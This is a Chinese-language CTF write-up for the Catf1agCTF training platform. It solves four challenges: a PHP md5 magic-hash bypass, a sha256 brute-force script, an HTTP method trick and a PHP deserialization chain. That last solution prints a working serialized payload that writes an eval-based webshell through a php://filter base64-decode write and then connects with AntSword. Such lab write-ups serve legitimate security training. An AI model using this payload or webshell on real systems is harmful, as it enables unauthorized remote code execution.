前言
Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。
平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。
此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。
需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。
总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。
一、md5($md5)
打开靶场
给出了源码
要求 $md5 经过 md5 加密后仍等于 $md5
<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$md5 = $_GET['md5'];
if($md5 == md5($md5)){
echo 'GET_FLAG'.$flag;
}else{
echo 'md5校验失败...';
}
于是构造:?md5=0e215962017
拿到 flag
二、[原九小时AK赛] passwd
打开靶场
下载文件
观察推测为 sha256(通常表示为64个十六进制字符)
编写脚本破解 sha256
from hashlib import sha256
for i in range(202210000000,202212120000):
s='69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'
if(sha256(str(i).encode()).hexdigest()==s):
print(i)
#202211121750
三、[原九小时AK赛] whisper
打开靶场
页面如下
URL 添加上 /whisper 得到奇怪字符
使用随波逐流一键解码拿到前半段 flag
根据题目提示:不同的方法,效果不一样。换 Post 方式请求,返回 na_s1aq_nyy_0s_z3}
四、[原九小时AK赛] wsy给你花花
打开靶场
打开显示源码
<?php
class catf1ag1{
public $hzy;
public $arr;
function show(){
show_source(__FILE__);
}
# __wakeup(): 当对象通过 unserialize() 反序列化时自动调用。遍历 $arr 数组中的每个元素,输出 $hzy 对象的属性,并附加字符串 "hzy是社么鬼???"
function __wakeup(){
foreach($this->arr as $k => $v){
echo $this->hzy->$v;
echo "</br>hzy是社么鬼???";
}
}
}
class catf1ag2{
public $file;
public $txt = '';
# __get($key): 当访问不存在的属性时调用。如果 $key 是 'pputut',则返回 pputut() 方法的结果,否则返回 $key 的 HTML 转义后的内容
function __get($key){
if($key == 'pputut'){
# 检查 $file 路径是否包含 '../' 或 '\\',以防止目录遍历攻击。如果发现这些字符,则终止脚本
return $this->pputut();
}else{
return '<p>'.htmlspecialchars($key).'</p>';
}
}
function pputut(){
if( strpos($this->file,'../') !== false ||
strpos($this->file,'\\') !== false
) die();
$content = '<?php die(\'stupid\'); ?>';
echo "NICE!!!,来自wsy赠送的小红花</br>";
$content .= $this->txt;
file_put_contents($this->file, $content);
return htmlspecialchars($content);
}
}
if(!empty($_POST)){
$hzy = base64_decode($_POST['wwsysy']);
$instance = unserialize($hzy);
}else{
$a = new catf1ag1();
$a->show();
}
<?php
class catf1ag1{
public $hzy;
public $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v){
echo $this->hzy->$v;
echo "</br>hzy是社么鬼???";
}
}
}
class catf1ag2{
public $file="";
public $txt = '';
function __get($key){
if($key == 'pputut'){
return $this->pputut();
}else{
return '<p>'.htmlspecialchars($key).'</p>';
}
}
function pputut(){
if( strpos($this->file,'../') !== false ||
strpos($this->file,'\\') !== false
) die();
$content = '<?php die(\'stupid\'); ?>';
echo "NICE!!!,来自wsy赠送的小红花</br>";
$content .= $this->txt;
file_put_contents($this->file, $content);
return htmlspecialchars($content);
}
}
$a= new catf1ag1();
$a->arr = array('pputut'); // 将 'pputut' 传给 catf1ag2
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=flag.php'; // 使用base64-decode绕过content,并将文件输出到 flag.php
$a->hzy->txt = 'IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA=='; // 植入一句话木马 ,密码为a
echo base64_encode(serialize($a));
?>
执行代码得到
Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ==
Post 提交后使用蚁剑连接